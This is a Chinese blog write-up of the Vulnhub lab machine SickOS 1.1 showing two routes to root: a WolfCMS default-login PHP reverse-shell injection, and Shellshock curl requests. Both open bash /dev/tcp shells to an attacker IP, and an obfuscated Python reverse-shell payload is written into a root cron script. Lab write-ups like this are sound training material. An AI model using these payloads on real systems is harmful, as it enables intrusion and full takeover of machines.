目 录CONTENT

文章目录

Vulnhub靶机:SickOS1.1

Administrator
2024-09-05 / 0 评论 / 0 点赞 / 12 阅读 / 0 字

Vulnhub靶机:SickOS1.1

第一种解法

  • 开始

  • 主机发现

  • nmap扫描及思路分析

  • Squid代理分析与设置

  • Web渗透

  • 获得系统初始Shell

  • 提权到SickOS账户

  • 进一步提权

  • rooted

  • 总结

🔍端口扫描技术与参数

老规矩,一把梭~

📊扫描与信息收集

一个ssh,一个3128是http的代理,还有一个是8080

💡信息分析与突破

这里最重要的就是要知道这个网页是啥东西,

经过搜索得知,这是一个http代理服务,开放在3128端口

🔓目录爆破

但是我们还是要扫一遍,在这个目录下有没有存在一些什么东西,

🔐转换扫描思路,使用代理

在常规的扫描中,无法扫描出任何结果,但是我们想到了这个端口是一个http的代理,

我们尝试他本身的代理对目标主机进行扫描

果然有效果!!!

我们之前访问他主机http://192.168.100.109:80端口是没法访问的,现在再试试

我们再将之前扫出来的目录都查看一下

---- Scanning URL: http://192.168.100.109/ ----
+ http://192.168.100.109/cgi-bin/ (CODE:403|SIZE:291)                                                                             
+ http://192.168.100.109/connect (CODE:200|SIZE:109)
下载了一个connect.py文件
#!/usr/bin/python

print "I Try to connect things very frequently\n"
print "You may want to try my services"
                                                                             
+ http://192.168.100.109/index (CODE:200|SIZE:21)                                                                                 
+ http://192.168.100.109/index.php (CODE:200|SIZE:21)                                                                             
+ http://192.168.100.109/robots (CODE:200|SIZE:45)                                                                                
+ http://192.168.100.109/robots.txt (CODE:200|SIZE:45)  
User-agent: *
Disallow: /
Dissalow: /wolfcms
                                                                          
+ http://192.168.100.109/server-status (CODE:403|SIZE:296) 

这个就有意思了

http://192.168.100.109/robots.txt

我们访问http://192.168.100.109/wolfcms/

是一个内容博客网站

并且发送文章的用户是Administrator用户,

我们可以找一下这套CMS的后台以及默认登录账号密码等

直接就搜到了

https://www.cnblogs.com/vivovox/p/14187067.html

后台路径为/wolfcms/?/admin/login

http://192.168.100.109/wolfcms/?/admin/login

并且后台账号密码是弱口令admin/admin

这里的很多文件都是php文件

都可以写一句话马进去

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.100/443 0>&1'");?>

这里添加一句话到Articles页面代码中

然后保存

然后先开启监听,443端口

然后点击Articles标签

成功收到反弹shell

🌐获取配置信息与提权

拿到初始权限后,一定要做充分系统内的信息搜集

CMS配置文件中的凭据

到这里我们又拿到了一组账号密码,

但是这里有一个点,就是密码复用,他可能是登录shh的root账号密码也有可能是其他用户登录的密码。

我们查看/etc/passwd

除了root就这个用户像正常用户了

🔑账号凭据组合尝试

都尝试一下

root的登录失败了

sickos登录成功

再看一下改用户拥有的权限

完结撒花~~~

第二种解法-Shellshock

第二种解法

Nikto扫描

nikto -h 192.168.100.109 -useproxy http://192.168.100.109:3128

提示存在shellshock

Shellshock漏洞原理

ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞

在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bash执行任意Shell命令

此漏洞在调用BashShell之前使用payload创建环境变量, 这些环境变量包含Shell代码, 在Shell被调用后代码会被执行

bash使用的环境变量是通过函数名称来调用的,以"(){"开头通过环境变量来定义,而在处理这样的恶意的函数环境变量时,并没有以函数结尾 "}" 为结束,而是执行其后的恶意shell命令

Bash版本<=4.3之前是容易受到攻击的

Shellshock验证

修改User-agent字段的值为() { :;};echo;/usr/bin/whoami, 页面回显命令执行结果

curl -v --proxy http://192.168.100.109:3128 http://192.168.100.109/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain' echo; echo; /usr/bin/id;exit" 

image-rquu.png

Shellshock获取初始系统shell

构造payload,获取反弹shell

这里lhost和lport都是kali机器的ip和端口

msfvenom -p cmd/unix/reverse_bash lhost=192.168.100.100 lport=443 -f raw

msfvenom -p cmd/unix/reverse_bash lhost=192.168.100.100 lport=443 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 78 bytes
bash -c '0<&190-;exec 190<>/dev/tcp/192.168.100.100/443;sh <&190 >&190 2>&190'

取这段

0<&190-;exec 190<>/dev/tcp/192.168.100.100/443;sh <&190 >&190 2>&190

构造一下,开启监听后,直接使用

curl -v --proxy http://192.168.100.109:3128 http://192.168.100.109/cgi-bin/status -H "Referer:() { test;}; 0<&190-;exec 190<>/dev/tcp/192.168.100.100/443;sh <&190 >&190 2>&190"

结果是这样

这里是因为目标机器没有设置sh,是他机器的环境变量设置好,就用不了

这里需要修改一下

curl -v --proxy http://192.168.100.109:3128 http://192.168.100.109/cgi-bin/status -H "Referer:() { test;}; 0<&190-;exec 190<>/dev/tcp/192.168.100.100/443;/bin/sh <&190 >&190 2>&190"

Cron自动任务提权

提权,也是一样

先看系统版本,内核,以及系统安装的软件

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

whoami

www-data

dpkg -l

查看安装的软件

先提升一下这个shell的交互性,

python -c "import pty;pty.spawn('/bin/bash')"

此时的shell已经好了一些,但是还有一些功能没有完善比如clear

export TERM=xterm

因为我们是www-data用户,所以先去我们网站目录下找找线索

就直说把,看计划任务

找到啦~

解析计划任务格式

* * * * * root /usr/bin/python /var/www/connect.py

1. * * * * *

这是 cron 表达式,表示任务的执行时间。五个星号分别代表:

  • 第一个 *:分钟(0-59)

  • 第二个 *:小时(0-23)

  • 第三个 *:月份中的日期(1-31)

  • 第四个 *:月份(1-12)

  • 第五个 *:星期几(0-7,0 和 7 代表星期日)

五个星号都为 *,意味着这个任务每分钟都会执行一次。

2. root

这是执行任务的用户。在这种情况下,任务是以 root 用户身份运行的,意味着它有管理员权限。

3. /usr/bin/python

这是执行 Python 解释器的路径。它表示用系统中的 Python 解释器来运行 Python 脚本。

4. /var/www/connect.py

这是要执行的 Python 脚本的路径。这个脚本位于 /var/www/ 目录下,文件名是 connect.py

总结

这条 cron 任务会以 root 用户的身份,每分钟执行一次位于 /var/www/connect.py 的 Python 脚本。如果您需要修改执行频率或者以不同用户运行,您可以调整这部分内容。

ok接下来使用python来反弹shell

先创建payload

msfvenom -p cmd/unix/reverse_python lhost=192.168.100.100 lport=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 364 bytes
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELwiAUhf+K7Ekh3BwRRfgwYkFEBW3vo5mx0VLZdf+/idvCtw6I13u/ew7YfozuLQIt3tKiUSs0CYba9FpIgKCtAe191WiwPGK7lLLNlrIkcSeap86Wr0fNDeA+hPoLT6/sWJ2ueRlG+1FxO5yrorzn2YUsLlRopaSwGLv8YM1FkoXUQJ+DSTHQV9tJpTEJ4ORfkP0Lpgto+O/zqHh0HY7iulUxNBH5ArXdXP8=')[0])))"

因为我们是把payload写入到.py里面去执行的,所以不需要把python -c也写进去,只写""以内的。

exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELwiAUhf+K7Ekh3BwRRfgwYkFEBW3vo5mx0VLZdf+/idvCtw6I13u/ew7YfozuLQIt3tKiUSs0CYba9FpIgKCtAe191WiwPGK7lLLNlrIkcSeap86Wr0fNDeA+hPoLT6/sWJ2ueRlG+1FxO5yrorzn2YUsLlRopaSwGLv8YM1FkoXUQJ+DSTHQV9tJpTEJ4ORfkP0Lpgto+O/zqHh0HY7iulUxNBH5ArXdXP8=')[0])))

这里的shell交互还是有些奇奇怪怪的,

我们只需要vi connect.py然后摁o就会新起一行,然后Ctrl+Shiift+V黏贴payload

然后摁:wq保存就行了

编辑完后查看一下

然后开启监听,因为这个计划任务是每分钟都会执行一次

OK拿下了~

总结

-.-

0

评论区